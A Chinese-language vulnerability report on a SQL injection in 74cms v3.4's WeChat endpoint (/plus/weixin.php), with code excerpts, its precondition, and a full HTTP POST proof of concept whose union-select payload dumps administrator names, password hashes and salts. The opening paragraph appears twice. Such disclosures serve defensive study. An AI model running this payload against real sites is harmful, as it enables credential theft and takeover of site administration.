### 简要描述: 略鸡肋,分享出来。 ### 详细说明: 最新版v3.4,更新时间20140310 文件/plus/weixin.php responseMsg函数,使用 $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; 获得了post数据。所以,可以无视GPC。 获得的数据是XML格式,我们一会发送数据包即可。 继续看该函数: ``` if (!empty($postStr)) { $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $keyword = iconv("utf-8","gb2312",$keyword); $time = time(); $event = trim($postObj->Event); ``` 当我们获得的post数据非空时,用simplexml_load_string解析xml,复制到各个变量中。没有进行任何过滤。 继续看到: ``` if($_CFG['sina_apiopen']=='0') { $word="网站微信接口已经关闭"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } ``` 这里有个判断,$_CFG[‘sina_apiopen’]必须不等于0 ,否则就会进入这个判断,最后exit整个文件,执行不到后面的注入的地方。所以这里是个鸡肋。...
### 简要描述: 略鸡肋,分享出来。 ### 详细说明: 最新版v3.4,更新时间20140310 文件/plus/weixin.php responseMsg函数,使用 $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; 获得了post数据。所以,可以无视GPC。 获得的数据是XML格式,我们一会发送数据包即可。 继续看该函数: ``` if (!empty($postStr)) { $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $keyword = iconv("utf-8","gb2312",$keyword); $time = time(); $event = trim($postObj->Event); ``` 当我们获得的post数据非空时,用simplexml_load_string解析xml,复制到各个变量中。没有进行任何过滤。 继续看到: ``` if($_CFG['sina_apiopen']=='0') { $word="网站微信接口已经关闭"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } ``` 这里有个判断,$_CFG[‘sina_apiopen’]必须不等于0 ,否则就会进入这个判断,最后exit整个文件,执行不到后面的注入的地方。所以这里是个鸡肋。 必须管理员在后台开启新浪微博登陆,才能注入。而这个功能是默认不开启的。 (不过很奇怪的是。。。这里明明是微信的相关功能。。。却验证的是新浪微博的开启状况。。。不忍吐槽) 所以,我测试的时候手动到后台开启了新浪微博功能: [<img src="https://images.seebug.org/upload/201403/18185107f031f871ec7eb39eef91a02eaa54a8b0.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/18185107f031f871ec7eb39eef91a02eaa54a8b0.jpg) 这个时候,我们再继续看刚才的函数: ``` $limit=" LIMIT 6"; $orderbysql=" ORDER BY refreshtime DESC"; if($keyword=="n") { $jobstable=table('jobs_search_rtime'); } else if($keyword=="j") { $jobstable=table('jobs_search_rtime'); $wheresql=" where `emergency`=1 "; } else { $jobstable=table('jobs_search_key'); $wheresql.=" where likekey LIKE '%{$keyword}%' "; } $word=''; $list = $id = array(); $idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit); ``` 看到这里就清楚了,直接把keyword带入查询。而keyword就是我们通过xml传进来的Content。 ### 漏洞证明: 管理员后台开启新浪微博登录以后,发送post数据包 ``` POST /74cms/plus/weixin.php?signature=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: hd_sid=WahL3a; hd_auth=1fa4iZzrIMEb5ZGSLQx5SE%2BJ6na3Zhf3d6dgq89u1nsfk58DTo4ry8IMrhasqGmVLISNxrP1qWgepMLzHFkU; PHPSESSID=7tvld6d36c052jsqcrrof9uk86 Connection: keep-alive Content-Type: text/html Content-Length: 252 <xml> <FromUserName><![CDATA[owen]]></FromUserName> <ToUsername><![CDATA[poal]]></ToUsername> <Content><![CDATA[letmeplayagame'union select concat(admin_name,0x23,pwd,0x23,pwd_hash) from qs_admin#]]></Content> <Event><![CDATA[aaa]]></Event> </xml> ``` 其中Content-Type不能是application/x-www-form-urlencoded,改成text/html,表示传过去的是文本内容。 其中Content内容是注入代码。 查看返回数据包: [<img src="https://images.seebug.org/upload/201403/1818521299e36d91371273c9992e2ee24cfc5271.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/1818521299e36d91371273c9992e2ee24cfc5271.jpg) 注入成功。管理员用户名+密码+salt